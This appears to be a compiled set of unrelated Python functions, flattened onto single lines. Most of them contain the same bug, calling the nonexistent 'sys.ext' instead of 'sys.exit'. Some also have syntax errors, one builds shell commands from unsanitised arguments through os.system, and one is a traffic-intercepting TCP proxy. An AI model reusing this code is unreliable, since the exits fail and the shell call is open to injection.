def main(self, screen): clock = pygame.time.Clock() pygame.display.set_caption("Starwars") background_img = pygame.Surface(screen.get_size()) background_img = pygame.image.load('deathstar.png').convert() global laserSprites, enemySprites, sprites laserSprites = pygame.sprite.RenderPlain(()) enemySprites = pygame.sprite.RenderPlain(()) enemySprites.add(Enemy(1)) sprites = pygame.sprite.Group() player = Player(sprites) frame=0 while 1: dt = clock.tick(30) counter = 0 frame+=1 screen.blit(background_img, (0, 0)) laserSprites.update() laserSprites.draw(screen) enemySprites.update() enemySprites.draw(screen) sprites.update(dt / 1000.) sprites.draw(screen) for hit in pygame.sprite.groupcollide(enemySprites, sprites, 0, 0): sys.ext() #collision detection between player and enemy ship for hit in pygame.sprite.groupcollide(enemySprites, laserSprites, 1, 0): break #collision detection between laser and enemy ship for event in pygame.event.get(): if event.type == pygame.QUIT: sys.exit() elif event.type == KEYDOWN and event.key == K_ESCAPE: sys.exit()
def main(): if len(sys.argv) != 5: print_help(1) sys.exit() firstFile = sys.argv[1] firstLineNum = sys.argv[2] secFile = sys.argv[3] secLineNum = sys.argv[4] try: val = int(firstLineNum) except ValueError: print_help(2) sys.ext() try: val = int(secLineNum) except ValueError: print_help(3) sys.ext() newFirstFile = firstFile + '_' + firstLineNum; #print("\nfrist ****** {}\n".format(newFirstFile)) newSecFile = secFile + '_' + secLineNum; #print("\nsecond ****** {}\n".format(newSecFile)) # generate first new file cmd1 = "tail -n +" + firstLineNum + ' ' + firstFile + ' > ' + newFirstFile #print("\n****** {}\n".format(cmd1)) os.system(cmd1) #generate second new file cmd2 = "tail -n +" + secLineNum + ' ' + secFile + ' > ' + newSecFile #print("\n****** {}\n".format(cmd2)) os.system(cmd2) # compare new files cmd = "meld "+ newFirstFile + ' ' + newSecFile #print("\n****** {}\n".format(cmd)) os.system(cmd)
def main(): if len(sys.argv[1:]) != 5: print"Usage: ./tcpproxy.py 127.0.0.1 9000 10.12.132.1 9000 True " sys.ext(0) local_host = sys.argv[1] local_port = int(sys.argv[2]) remote_host = sys.argv[3] remote_port = int(sys.argv[4]) receive_first = sys.argv[5] if "True" in receive_first: receive_first = True else: receive_first = False server_loop((local_host,local_port,remote_host,remote_port,receive_first) def proxy_handler(client_socket , remote_host , remote_port , receive_first): """ 连接远程主机 :param client_socket: :param remote_host: :param remote_port: :param receive_first: :return: """ remote_socket = socket.socket(socket.AF_INET , socket.SOCK_STREAM ) remote_socket.connect((remote_host,remote_port)) if receive_first: remote_buffer = receive_from(remote_socket)) hexdump(remote_buffer) remote_buffer = response_handler(remote_buffer) if len(remote_buffer): print"[<==] sending %d bytes to localhost. " %len(remote_buffer) client_socket.send(remote_buffer)
def getUserEnhancedFactor(self, uid, seg_num): if seg_num < 2: print seg_num print 'Invalid segment number' sys.exit(1) try: if uid not in self.user_buy_num or len( self.user_buy_num[uid][seg_num - 2]) == 0: return 0 except: print seg_num sys.ext(1) total_num = 0 for pid in self.user_buy_num[uid][seg_num - 2]: for penality in self.user_buy_num[uid][seg_num - 2][pid][1]: self.u_enhanced_factor +=\ penality*self.product_factor[self.pid_dict[pid]] total_num += self.user_buy_num[uid][seg_num - 2][pid][0] self.u_enhanced_factor = self.u_enhanced_factor / total_num return total_num
def parseFile(): global input_site global inputType lines = [] cleaned_lines = [] dom = parse("tempLinks.xml") for node in dom.getElementsByTagName('Base'): input_site = node.toxml()[1:-7] for node in dom.getElementsByTagName('Base'): print (node.toxml()[12:15]) inputType = node.toxml()[12:15] for node in dom.getElementsByTagName('Code'): lines.append(node.toxml()) for line in lines: #print line[17:-7] cleaned_lines.append(line[17:-7]) cleaned_lines output(cleaned_lines) sys.ext()
def get_fda_obj(drug): for drug_obj in drug.drug_objects: if 'object_type' in drug_obj: if drug_obj['object_type'].lower() in ['fda drug', 'fda']: return drug_obj['object'] for rxcui in gnomics.objects.drug.Drug.rxcui(drug): base = "https://api.fda.gov/drug/" ext = "label.json?search=openfda.rxcui:" + str(rxcui) + "&limit=1" r = requests.get(base+ext, headers = {"Content-Type": "application/json"}) if not r.ok: r.raise_for_status() sys.ext() decoded = r.json() fda_obj_temp = decoded["results"][0] drug.drug_objects.append({ 'object': fda_obj_temp, 'object_type': "ChemSpider compound" }) return fda_obj_temp
def _read(self, name, group, stype, jsonfile, connection=None, save_connection=True): jf = open(jsonfile).read() data = json.loads(jf) if name is not None: data['server-name'] = name if group is not None: data['group-name'] = group if stype is not None: data['server-type'] = stype stype = data['server-type'] if stype == 'http': server = HttpServer(name, group) elif stype == 'odbc': server = OdbcServer(name, group) elif stype == 'xdbc': server = XdbcServer(name, group) elif stype == 'webdav': server = WebDAVServer(name, group) elif stype is None: print("Server type must be specified.") sys.ext(1) else: print("Unexpected server type: {0}".format(stype)) sys.exit(1) server = server.unmarshal(data, connection=connection, save_connection=save_connection) return server
def quit(event): ext() return
print "sum_XY =", sum_XY self.r = sum_XY / (sqrt(sum_XX*sum_YY)) ##pearson's coefficient correlation def usage(): print "-x [file one]" print "-y [file two]" ## end of class #line = sys.stdin.readline() #args = line.split() try: optlist, args = getopt.getopt(sys.argv[1:], 'x:y:h', ["help"]) except getopt.GetoptError, err: print str(err) sys.ext(2) for opt, query in optlist: if opt == "-x": typeA = basePairProbability(query) typeA.parse() elif opt == "-y": typeB = basePairProbability(query) typeB.parse() elif opt in ("-h", "--help"): usage() sys.exit() else: assert False, "unhandled option" correlation = pearson(typeA, typeB) correlation.compute()
def execute(self): """ Given the command-line arguments, this figures out which subcommand is being run, creates a parser appropriate to that command, and runs it. """ # Preprocess options to extract --settings and --pythonpath. # These options could affect the commands that are available, so they # must be processed early. parser = NewOptionParser(prog=self.prog_name, usage=self.usage_info, # version=self.get_version(), formatter = NewFormatter(), add_help_option = False, option_list=self.option_list) if not self.global_options: global_options, args = parser.parse_args(self.argv) global_options.apps_dir = os.path.normpath(os.path.join(global_options.project, 'apps')) handle_default_options(global_options) args = args[1:] else: global_options = self.global_options args = self.argv def print_help(global_options): parser.print_help() sys.stderr.write(self.print_help_info(global_options) + '\n') sys.exit(1) if len(args) == 0: if global_options.version: print self.get_version() sys.exit(1) else: print_help(global_options) sys.ext(1) try: subcommand = args[0] except IndexError: subcommand = 'help' # Display help if no arguments were given. if subcommand == 'help': if len(args) > 1: command = self.fetch_command(global_options, args[1]) if issubclass(command, CommandManager): cmd = command(['help'], None, '%s %s' % (self.prog_name, args[1]), global_options=global_options) cmd.execute() else: command().print_help(self.prog_name, args[1]) sys.exit(1) else: print_help(global_options) if global_options.help: print_help(global_options) else: command = self.fetch_command(global_options, subcommand) if issubclass(command, CommandManager): cmd = command(args[1:], None, '%s %s' % (self.prog_name, subcommand), global_options=global_options) cmd.execute() else: cmd = command() cmd.run_from_argv(self.prog_name, subcommand, global_options, args[1:])
def parseDottedForm(df): tokens = df.split(".") if len(tokens) != 4: print "Invalid PO Dot Form: " + df return None, None tokenValues = [int(token) for token in tokens] po_num = (tokenValues[0] << 24) + (tokenValues[1] << 16) + (tokenValues[2] << 8) + tokenValues[3] po_df = tuple(tokens) return po_df, po_num if __name__ == '__main__': rq = requests.get(ALLOCATIONS_URL) if rq.status_code != 200: print "Failed to retrieve Bosswave allocations file from GitHub" sys.ext(1) allocs = yaml.load(rq.text) with open(DEST_FILE, 'w') as f: f.write("package edu.berkeley.cs.sdb.bosswave;\n\n") f.write("public class POAllocations {\n") for key, params in allocs.iteritems(): key_toks = key.split('/') if len(key_toks) != 2: print "Invalid PO Allocation: " + key_toks continue mask = int(key_toks[1]) po_df, po_num = parseDottedForm(key_toks[0])
def main(): """Creates two servers and adds them to a load balancer. """ # Path to credential file. credential_file = os.path.expanduser("~/.rackspace_cloud_credentials") print "Authenticating" try: pyrax.set_credential_file(credential_file) except e.AuthenticationFailed: print "Authentication Failed: The file does not contain valid credendials" sys.exit() except e.FileNotFound: print "Authentication file %s not found" % credential_file sys.exit() print "Authenticated Successfully as %s" % pyrax.identity.username cs = pyrax.cloudservers clb = pyrax.cloud_loadbalancers # Use a CentOS 6.3 Image image = "c195ef3b-9195-4474-b6f7-16e5bd86acd0" # Use a 512M Standard Flavor flavor = "2" #Create new servers (and yes I got these code snippets from the SDK docs) print print "Creating Servers." try: server1 = cs.servers.create("server1b", image, flavor) s1_id = server1.id except: print "ERROR creating server 1." sys.ext() try: server2 = cs.servers.create("server2b", image, flavor) s2_id = server2.id except: print "ERROR creating server 2." sys.ext() # We can't get network information until the server is complete # so we keep checking for network assignment which means they are ready. while not (server1.networks and server2.networks): time.sleep(1) server1 = cs.servers.get(s1_id) server2 = cs.servers.get(s2_id) # Get the private network IPs for the servers server1_ip = server1.networks["private"][0] server2_ip = server2.networks["private"][0] # Use the IPs to create the nodes and set them to ENABLED try: print "Creating node1 and setting to ENABLED." node1 = clb.Node(address=server1_ip, port=80, condition="ENABLED") except: print "ERROR creating node1." sys.exit() try: print "Creating node2 and setting to ENABLED." node2 = clb.Node(address=server2_ip, port=80, condition="ENABLED") except: print "ERROR creating node2." sys.exit() # Create the Virtual IP for the load balancer try: print "Creating VIP." vip = clb.VirtualIP(type="PUBLIC") except: print "ERROR creating lb VIP." sys.exit() try: print "Creating load balancer." lb = clb.create("challenge7lb2", port=80, protocol="HTTP", nodes=[node1, node2], virtual_ips=[vip]) except: print "ERROR creating load balancer." sys.exit() # The servers might still be in build state. Watching them until done. print "Finishing up server builds..." server1 = cs.servers.get(s1_id) server2 = cs.servers.get(s2_id) s2_status = server2.status while server1.progress < 100 or server2.progress < 100: sleep(1) server1 = cs.servers.get(s1_id) server2 = cs.servers.get(s2_id) #Output build progress information sys.stdout.write("\r" + "Server1 %s percent / Server 2 %s percent" % (str(server1.progress),str(server2.progress))) sys.stdout.flush() print print "Servers and load balancer created."
loops = int(get("dungeon", "loops", loops)) fill_caves = str2bool(get("dungeon", "fill_caves", fill_caves)) secret_rooms = int(get("dungeon", "secret_rooms", secret_rooms)) silverfish = int(get("dungeon", "silverfish", silverfish)) maps = int(get("dungeon", "maps", maps)) mapstore = get("dungeon", "mapstore", mapstore) if tower < 1.0: sys.exit("The tower height parameter is too small. This should be >= 1.0. Check the cfg file.") if chests < 0.0 or chests > 10.0: sys.exit("Chests should be between 0 and 10. Check the cfg file.") if spawners < 0.0 or spawners > 10.0: sys.ext("Spawners should be between 0 and 10. Check the cfg file.") if torches_position < 1 or torches_position > 3: sys.ext("torches_position should be between 1-3. Check the cfg file.") # Set the wall, ceiling, and floor materials for name, val in materials.__dict__.items(): if isinstance(val, materials.Material) == True: if val.name == wall: materials._wall = copy(val) if val.name == ceiling: materials._ceiling = copy(val) if val.name == floor: materials._floor = copy(val) if val.name == subfloor: materials._subfloor = copy(val)
def Load(filename="default.cfg"): global parser, offset, tower, doors, torches_top, wall, floor, ceiling, exit_portal, master_halls, master_rooms, master_features, master_floors, chests, double_treasure, enchant_system, spawners, master_mobs, torches_bottom, min_dist, max_dist, loops, fill_caves, subfloor, torches_position, skeleton_balconies, sand_traps, master_ruins, ruin_ruins, maximize_distance, hall_piston_traps, resetting_hall_pistons, structure_values, default_entrances, master_entrances, master_treasure, secret_rooms, secret_door, silverfish, bury, master_projectile_traps, maps, mapstore, mapcolor, paintingcolor, max_mob_tier, custom_spawners, master_stairwells, hidden_spawners, master_srooms, SpawnCount, SpawnMaxNearbyEntities, SpawnMinDelay, SpawnMaxDelay, SpawnRequiredPlayerRange, chest_traps, master_chest_traps, treasure_SpawnCount, treasure_SpawnMaxNearbyEntities, treasure_SpawnMinDelay, treasure_SpawnMaxDelay, treasure_SpawnRequiredPlayerRange, file_extra_items, file_dyes, file_potions, file_magic_items, file_fortunes, dir_paintings, dir_books, dir_shops, dir_extra_spawners, dir_extra_items, river_biomes, ocean_biomes, use_incomplete_chunks, master_hall_traps, master_landmarks, default_landmarks, master_landmark_mobs, th_locked, th_bonus, th_intermediate, th_spawners temp = os.path.join(sys.path[0], "configs", filename) try: fh = open(temp) fh.close filename = temp except: filename = os.path.join("configs", filename) print "Reading config from", filename, "..." try: parser.readfp(open(filename)) except Exception as e: print "Failed to read config file!" sys.exit(e.message) # Load the various extra file locations file_extra_items = getPath("locations", "file_extra_items", file_extra_items) file_dyes = getPath("locations", "file_dyes", file_dyes) file_potions = getPath("locations", "file_potions", file_potions) file_magic_items = getPath("locations", "file_magic_items", file_magic_items) file_fortunes = getPath("locations", "file_fortunes", file_fortunes) dir_paintings = getPath("locations", "dir_paintings", dir_paintings) dir_books = getPath("locations", "dir_books", dir_books) dir_shops = getPath("locations", "dir_shops", dir_shops) dir_extra_spawners = getPath("locations", "dir_extra_spawners", dir_extra_spawners) dir_extra_items = getPath("locations", "dir_extra_items", dir_extra_items) # These are not used until actual generation begins, so check they are # good now. if isFile(file_fortunes) is False: print "Warning: fortune file '" + file_fortunes + "' not found." if isDir(dir_paintings) is False: print "Warning: paintings directory '" + dir_paintings + "' not found." if isDir(dir_books) is False: print "Warning: books directory '" + dir_books + "' not found." if isDir(dir_shops) is False: print "Warning: shops directory '" + dir_shops + "' not found." if dir_extra_spawners != "": if isDir(dir_extra_spawners) is False: print "Warning: extra spawners directory '" + dir_extra_spawners + "' not found." dir_extra_spawners = "" if dir_extra_items != "": if isDir(dir_extra_items) is False: print "Warning: extra items directory '" + dir_extra_items + "' not found." dir_extra_items = "" # Only vanilla items have been loaded so far, we can now load the rest if file_extra_items != "": items.LoadItems(file_extra_items) if dir_extra_items != "": items.LoadNBTFiles(dir_extra_items) items.LoadDyedArmour(file_dyes) items.LoadPotions(file_potions) items.LoadMagicItems(file_magic_items) shop.Load(dir_shops) LoadSpawners() if dir_extra_spawners != "": LoadSpawners(dir_extra_spawners) if len(custom_spawners) > 0: print "Loaded", len(custom_spawners), "custom spawners." # Load master tables from .cfg. master_halls = parser.items("halls") try: master_hall_traps = parser.items("hall traps") except: print "WARNING: No hall traps section found in config. Using default." master_hall_traps = [["Blank", 100]] master_rooms = parser.items("rooms") master_srooms = parser.items("secret rooms") master_features = parser.items("features") master_stairwells = parser.items("stairwells") master_floors = parser.items("floors") try: temp_projectile_traps = parser.items("projectile traps") except: print "WARNING: No projectile traps section found in config. Using default." temp_projectile_traps = master_projectile_traps temp_chest_traps = parser.items("chest_traps") try: master_ruins = parser.items("ruins") except: print "WARNING: No ruins section found in config. Using default." try: master_treasure = parser.items("treasure rooms") except: print "WARNING: No treasure rooms section found in config. " " Using default." # Load per-biome entrances. # First, the default try: default_entrances = parser.items("entrances") except: default_entrances = [("SquareTowerEntrance", 10)] # Try to find any biome specific entrance definitions. entrancematch = re.compile("entrances.([0-9,]+)") for name in parser.sections(): match = entrancematch.search(name) if match: for biome in match.group(1).split(","): master_entrances[int(biome)] = parser.items(name) # Load per-biome landmarks. # First, the default try: default_landmarks = parser.items("landmarks") except: default_landmarks = [("SignPost", 10)] # Try to find any biome specific landmark definitions. lmmatch = re.compile("landmarks.([0-9,]+)") for name in parser.sections(): match = lmmatch.search(name) if match: for biome in match.group(1).split(","): master_landmarks[int(biome)] = parser.items(name) # Load the mob spawner tables max_mob_tier = 0 if parser.has_section("mobs"): print "WARNING: This config file contains old-stye mob definitions." print "You should update your config file with the new mob features." temp_mobs = parser.items("mobs") elif parser.has_section("mobs.0"): temp_mobs = parser.items("mobs.0") else: sys.exit("Failed to read mob config from config file.") while len(temp_mobs) is not 0: for mob in temp_mobs: mob_name = mob[0] if max_mob_tier not in master_mobs: master_mobs[max_mob_tier] = [] master_mobs[max_mob_tier].append((mob_name, mob[1])) max_mob_tier += 1 try: temp_mobs = parser.items("mobs." + str(max_mob_tier)) except: temp_mobs = [] max_mob_tier -= 1 # Landmark spawner mobs table if parser.has_section("landmark_mobs"): master_landmark_mobs = parser.items("landmark_mobs") else: master_landmark_mobs = master_mobs[0] # Process projectile traps config master_projectile_traps = [] for d in temp_projectile_traps: name = d[0].lower() (ent_name, prob, data) = d[1].split(",", 2) lookup_projectile_traps[name] = (ent_name, prob, data) master_projectile_traps.append((name, prob)) # Process chest_traps config for d in temp_chest_traps: (prob, number) = d[1].split(",") name = d[0].lower() lookup_chest_traps[name] = (prob, number) master_chest_traps.append((name, prob)) # Load other config options offset = get("dungeon", "offset", offset) bury = str2bool(get("dungeon", "force_bury", bury)) tower = float(get("dungeon", "tower", tower)) ruin_ruins = str2bool(get("dungeon", "ruin_ruins", ruin_ruins)) doors = int(get("dungeon", "doors", doors)) torches_top = int(get("dungeon", "torches_top", torches_top)) torches_bottom = int(get("dungeon", "torches_bottom", torches_bottom)) torches_position = int(get("dungeon", "torches_position", torches_position)) wall = get("dungeon", "wall", wall).lower() ceiling = get("dungeon", "ceiling", ceiling).lower() floor = get("dungeon", "floor", floor).lower() subfloor = get("dungeon", "subfloor", subfloor).lower() secret_door = get("dungeon", "secret_door", secret_door).lower() exit_portal = str2bool(get("dungeon", "exit_portal", exit_portal)) chests = float(get("dungeon", "chests", chests)) double_treasure = str2bool(get("dungeon", "double_treasure", double_treasure)) enchant_system = get("dungeon", "enchant_system", enchant_system).lower() spawners = float(get("dungeon", "spawners", spawners)) hidden_spawners = str2bool(get("dungeon", "hidden_spawners", hidden_spawners)) SpawnCount = int(get("dungeon", "SpawnCount", SpawnCount)) SpawnMaxNearbyEntities = int(get("dungeon", "SpawnMaxNearbyEntities", SpawnMaxNearbyEntities)) SpawnMinDelay = int(get("dungeon", "SpawnMinDelay", SpawnMinDelay)) SpawnMaxDelay = int(get("dungeon", "SpawnMaxDelay", SpawnMaxDelay)) SpawnRequiredPlayerRange = int(get("dungeon", "SpawnRequiredPlayerRange", SpawnRequiredPlayerRange)) # These fall back to the above when not set treasure_SpawnCount = int(get("dungeon", "treasure_SpawnCount", SpawnCount)) treasure_SpawnMaxNearbyEntities = int(get("dungeon", "treasure_SpawnMaxNearbyEntities", SpawnMaxNearbyEntities)) treasure_SpawnMinDelay = int(get("dungeon", "treasure_SpawnMinDelay", SpawnMinDelay)) treasure_SpawnMaxDelay = int(get("dungeon", "treasure_SpawnMaxDelay", SpawnMaxDelay)) treasure_SpawnRequiredPlayerRange = int( get("dungeon", "treasure_SpawnRequiredPlayerRange", SpawnRequiredPlayerRange) ) min_dist = int(get("dungeon", "min_dist", min_dist)) max_dist = int(get("dungeon", "max_dist", max_dist)) maximize_distance = str2bool(get("dungeon", "maximize_distance", maximize_distance)) chest_traps = int(get("dungeon", "chest_traps", chest_traps)) hall_piston_traps = int(get("dungeon", "hall_piston_traps", hall_piston_traps)) resetting_hall_pistons = str2bool(get("dungeon", "resetting_hall_pistons", resetting_hall_pistons)) skeleton_balconies = int(get("dungeon", "skeleton_balconies", skeleton_balconies)) sand_traps = int(get("dungeon", "sand_traps", sand_traps)) loops = int(get("dungeon", "loops", loops)) fill_caves = str2bool(get("dungeon", "fill_caves", fill_caves)) secret_rooms = int(get("dungeon", "secret_rooms", secret_rooms)) silverfish = int(get("dungeon", "silverfish", silverfish)) maps = int(get("dungeon", "maps", maps)) mapstore = get("dungeon", "mapstore", mapstore) mapcolor = getHexColor("dungeon", "mapcolor", mapcolor) paintingcolor = getHexColor("dungeon", "paintingcolor", paintingcolor) th_locked = str2bool(get("treasure hunt", "locked", th_locked)) th_bonus = int(get("treasure hunt", "bonus", th_bonus)) th_intermediate = int(get("treasure hunt", "intermediate", th_intermediate)) th_spawners = str2bool(get("treasure hunt", "spawners", th_spawners)) if tower < 1.0: sys.exit("The tower height parameter is too small. This should be " " >= 1.0. Check the cfg file.") if chests < 0.0 or chests > 10.0: sys.exit("Chests should be between 0 and 10. Check the cfg file.") if spawners < 0.0 or spawners > 10.0: sys.ext("Spawners should be between 0 and 10. Check the cfg file.") if torches_position < 1 or torches_position > 3: sys.ext("torches_position should be between 1-3. Check the cfg file.") # Set the wall, ceiling, and floor materials for name, val in materials.__dict__.items(): if isinstance(val, materials.Material): if val.name == wall: materials._wall = copy(val) if val.name == ceiling: materials._ceiling = copy(val) if val.name == floor: materials._floor = copy(val) if val.name == subfloor: materials._subfloor = copy(val) if val.name == secret_door: materials._secret_door = copy(val) # Load structure list s = [x.strip() for x in str(get("dungeon", "structures", "")).split(",")] s = [x.lower() for x in s] if len(s) > 0 and s[0] is not "": for a in s: v = materials.valByName(a) if v >= 0: structure_values.append(v) else: sys.exit("Unable to find structure material: " + str(a)) # Load river biomes try: river_biomes = set([int(x) for x in get("dungeon", "river_biomes", river_biomes).split(",")]) except: print "WARNING: Unable to parse river_biomes from config." " Using default." # Load ocean biomes try: ocean_biomes = set([int(x) for x in get("dungeon", "ocean_biomes", ocean_biomes).split(",")]) except: print "WARNING: Unable to parse ocean_biomes from config." " Using default." use_incomplete_chunks = str2bool(get("dungeon", "use_incomplete_chunks", use_incomplete_chunks))
def A_I(self): try: return self.__A_I except AttributeError: print("AME attribute 'A_I' not set.") sys.ext(1)
def close_port(self): self.my_socket.close() sys.ext()
def Load(filename='default.cfg'): global parser, offset, tower, doors, torches_top, wall, \ floor, ceiling, exit_portal, master_halls, master_rooms, \ master_features, master_floors, chests, double_treasure, \ enchant_system, spawners, master_mobs, torches_bottom, min_dist, \ max_dist, loops, fill_caves, \ subfloor, torches_position, skeleton_balconies, \ sand_traps, master_ruins, ruin_ruins, \ maximize_distance, hall_piston_traps, resetting_hall_pistons, \ structure_values, default_entrances, master_entrances, \ master_treasure, secret_rooms, secret_door, silverfish, bury, \ master_projectile_traps, maps, mapstore, mapcolor, paintingcolor, \ max_mob_tier, custom_spawners, \ master_stairwells, hidden_spawners, master_srooms, SpawnCount, \ SpawnMaxNearbyEntities, SpawnMinDelay, SpawnMaxDelay, \ SpawnRequiredPlayerRange, chest_traps, master_chest_traps, \ treasure_SpawnCount, treasure_SpawnMaxNearbyEntities, \ treasure_SpawnMinDelay, treasure_SpawnMaxDelay, \ treasure_SpawnRequiredPlayerRange, file_extra_items, file_dyes, \ file_potions, file_magic_items, file_fortunes, file_recipes, \ dir_paintings, \ dir_books, dir_shops, dir_extra_spawners, dir_extra_items, \ river_biomes, ocean_biomes, use_incomplete_chunks, master_hall_traps, \ master_landmarks, default_landmarks, master_landmark_mobs, \ th_locked, th_bonus, th_intermediate, th_spawners temp = os.path.join(sys.path[0], 'configs', filename) try: fh = open(temp) fh.close filename = temp except: filename = os.path.join('configs', filename) print 'Reading config from', filename, '...' try: parser.readfp(open(filename)) except Exception as e: print "Failed to read config file!" sys.exit(e.message) # Load the various extra file locations file_extra_items = getPath('locations', 'file_extra_items', file_extra_items) file_dyes = getPath('locations', 'file_dyes', file_dyes) file_potions = getPath('locations', 'file_potions', file_potions) file_magic_items = getPath('locations', 'file_magic_items', file_magic_items) file_fortunes = getPath('locations', 'file_fortunes', file_fortunes) file_recipes = getPath('locations', 'file_recipes', file_recipes) dir_paintings = getPath('locations', 'dir_paintings', dir_paintings) dir_books = getPath('locations', 'dir_books', dir_books) dir_shops = getPath('locations', 'dir_shops', dir_shops) dir_extra_spawners = getPath('locations', 'dir_extra_spawners', dir_extra_spawners) dir_extra_items = getPath('locations', 'dir_extra_items', dir_extra_items) # These are not used until actual generation begins, so check they are # good now. if isFile(file_fortunes) is False: print "Warning: fortune file '" + file_fortunes + "' not found." if isFile(file_recipes) is False: print "Warning: recipes file '" + file_recipes + "' not found." if isDir(dir_paintings) is False: print "Warning: paintings directory '" + dir_paintings + "' not found." if isDir(dir_books) is False: print "Warning: books directory '" + dir_books + "' not found." if isDir(dir_shops) is False: print "Warning: shops directory '" + dir_shops + "' not found." if dir_extra_spawners != '': if isDir(dir_extra_spawners) is False: print "Warning: extra spawners directory '" +\ dir_extra_spawners +\ "' not found." dir_extra_spawners = '' if dir_extra_items != '': if isDir(dir_extra_items) is False: print "Warning: extra items directory '" +\ dir_extra_items +\ "' not found." dir_extra_items = '' # Only vanilla items have been loaded so far, we can now load the rest if file_extra_items != '': items.LoadItems(file_extra_items) if dir_extra_items != '': items.LoadNBTFiles(dir_extra_items) items.LoadDyedArmour(file_dyes) items.LoadPotions(file_potions) items.LoadMagicItems(file_magic_items) shop.Load(dir_shops) LoadSpawners() if dir_extra_spawners != '': LoadSpawners(dir_extra_spawners) if len(custom_spawners) > 0: print 'Loaded', len(custom_spawners), 'custom spawners.' # Load master tables from .cfg. master_halls = parser.items('halls') try: master_hall_traps = parser.items('hall traps') except: print 'WARNING: No hall traps section found in config. Using default.' master_hall_traps = [['Blank', 100]] master_rooms = parser.items('rooms') master_srooms = parser.items('secret rooms') master_features = parser.items('features') master_stairwells = parser.items('stairwells') master_floors = parser.items('floors') try: temp_projectile_traps = parser.items('projectile traps') except: print 'WARNING: No projectile traps section found in config. Using default.' temp_projectile_traps = master_projectile_traps temp_chest_traps = parser.items('chest_traps') try: master_ruins = parser.items('ruins') except: print 'WARNING: No ruins section found in config. Using default.' try: master_treasure = parser.items('treasure rooms') except: print 'WARNING: No treasure rooms section found in config. '\ ' Using default.' # Load per-biome entrances. # First, the default try: default_entrances = parser.items('entrances') except: default_entrances = [('SquareTowerEntrance', 10)] # Try to find any biome specific entrance definitions. entrancematch = re.compile('entrances.([0-9,]+)') for name in parser.sections(): match = entrancematch.search(name) if match: for biome in match.group(1).split(','): master_entrances[int(biome)] = parser.items(name) # Load per-biome landmarks. # First, the default try: default_landmarks = parser.items('landmarks') except: default_landmarks = [('SignPost', 10)] # Try to find any biome specific landmark definitions. lmmatch = re.compile('landmarks.([0-9,]+)') for name in parser.sections(): match = lmmatch.search(name) if match: for biome in match.group(1).split(','): master_landmarks[int(biome)] = parser.items(name) # Load the mob spawner tables max_mob_tier = 0 if parser.has_section('mobs'): print 'WARNING: This config file contains old-stye mob definitions.' print 'You should update your config file with the new mob features.' temp_mobs = parser.items('mobs') elif parser.has_section('mobs.0'): temp_mobs = parser.items('mobs.0') else: sys.exit('Failed to read mob config from config file.') while len(temp_mobs) is not 0: for mob in temp_mobs: mob_name = mob[0] if max_mob_tier not in master_mobs: master_mobs[max_mob_tier] = [] master_mobs[max_mob_tier].append((mob_name, mob[1])) max_mob_tier += 1 try: temp_mobs = parser.items('mobs.' + str(max_mob_tier)) except: temp_mobs = [] max_mob_tier -= 1 # Landmark spawner mobs table if parser.has_section('landmark_mobs'): master_landmark_mobs = parser.items('landmark_mobs') else: master_landmark_mobs = master_mobs[0] # Process projectile traps config master_projectile_traps = [] for d in temp_projectile_traps: name = d[0].lower() (ent_name, prob, data) = d[1].split(',', 2) lookup_projectile_traps[name] = (ent_name, prob, data) master_projectile_traps.append((name, prob)) # Process chest_traps config for d in temp_chest_traps: (prob, number) = d[1].split(',') name = d[0].lower() lookup_chest_traps[name] = (prob, number) master_chest_traps.append((name, prob)) # Load other config options offset = get('dungeon', 'offset', offset) bury = str2bool(get('dungeon', 'force_bury', bury)) tower = float(get('dungeon', 'tower', tower)) ruin_ruins = str2bool(get('dungeon', 'ruin_ruins', ruin_ruins)) doors = int(get('dungeon', 'doors', doors)) torches_top = int(get('dungeon', 'torches_top', torches_top)) torches_bottom = int(get('dungeon', 'torches_bottom', torches_bottom)) torches_position = int(get('dungeon', 'torches_position', torches_position)) wall = get('dungeon', 'wall', wall).lower() ceiling = get('dungeon', 'ceiling', ceiling).lower() floor = get('dungeon', 'floor', floor).lower() subfloor = get('dungeon', 'subfloor', subfloor).lower() secret_door = get('dungeon', 'secret_door', secret_door).lower() exit_portal = str2bool(get('dungeon', 'exit_portal', exit_portal)) chests = float(get('dungeon', 'chests', chests)) double_treasure = str2bool(get('dungeon', 'double_treasure', double_treasure)) enchant_system = get('dungeon', 'enchant_system', enchant_system).lower() spawners = float(get('dungeon', 'spawners', spawners)) hidden_spawners = str2bool(get('dungeon', 'hidden_spawners', hidden_spawners)) SpawnCount = int(get('dungeon', 'SpawnCount', SpawnCount)) SpawnMaxNearbyEntities = int(get('dungeon', 'SpawnMaxNearbyEntities', SpawnMaxNearbyEntities)) SpawnMinDelay = int(get('dungeon', 'SpawnMinDelay', SpawnMinDelay)) SpawnMaxDelay = int(get('dungeon', 'SpawnMaxDelay', SpawnMaxDelay)) SpawnRequiredPlayerRange = int(get('dungeon', 'SpawnRequiredPlayerRange', SpawnRequiredPlayerRange)) # These fall back to the above when not set treasure_SpawnCount = int(get('dungeon', 'treasure_SpawnCount', SpawnCount)) treasure_SpawnMaxNearbyEntities = int(get( 'dungeon', 'treasure_SpawnMaxNearbyEntities', SpawnMaxNearbyEntities) ) treasure_SpawnMinDelay = int(get('dungeon', 'treasure_SpawnMinDelay', SpawnMinDelay)) treasure_SpawnMaxDelay = int(get('dungeon', 'treasure_SpawnMaxDelay', SpawnMaxDelay)) treasure_SpawnRequiredPlayerRange = int(get( 'dungeon', 'treasure_SpawnRequiredPlayerRange', SpawnRequiredPlayerRange) ) min_dist = int(get('dungeon', 'min_dist', min_dist)) max_dist = int(get('dungeon', 'max_dist', max_dist)) maximize_distance = str2bool(get('dungeon', 'maximize_distance', maximize_distance)) chest_traps = int(get('dungeon', 'chest_traps', chest_traps)) hall_piston_traps = int(get('dungeon', 'hall_piston_traps', hall_piston_traps)) resetting_hall_pistons = str2bool(get('dungeon', 'resetting_hall_pistons', resetting_hall_pistons)) skeleton_balconies = int(get('dungeon', 'skeleton_balconies', skeleton_balconies)) sand_traps = int(get('dungeon', 'sand_traps', sand_traps)) loops = int(get('dungeon', 'loops', loops)) fill_caves = str2bool(get('dungeon', 'fill_caves', fill_caves)) secret_rooms = int(get('dungeon', 'secret_rooms', secret_rooms)) silverfish = int(get('dungeon', 'silverfish', silverfish)) maps = int(get('dungeon', 'maps', maps)) mapstore = get('dungeon', 'mapstore', mapstore) mapcolor = getHexColor('dungeon', 'mapcolor', mapcolor) paintingcolor = getHexColor('dungeon', 'paintingcolor', paintingcolor) th_locked = str2bool(get('treasure hunt', 'locked', th_locked)) th_bonus = int(get('treasure hunt', 'bonus', th_bonus)) th_intermediate = int(get('treasure 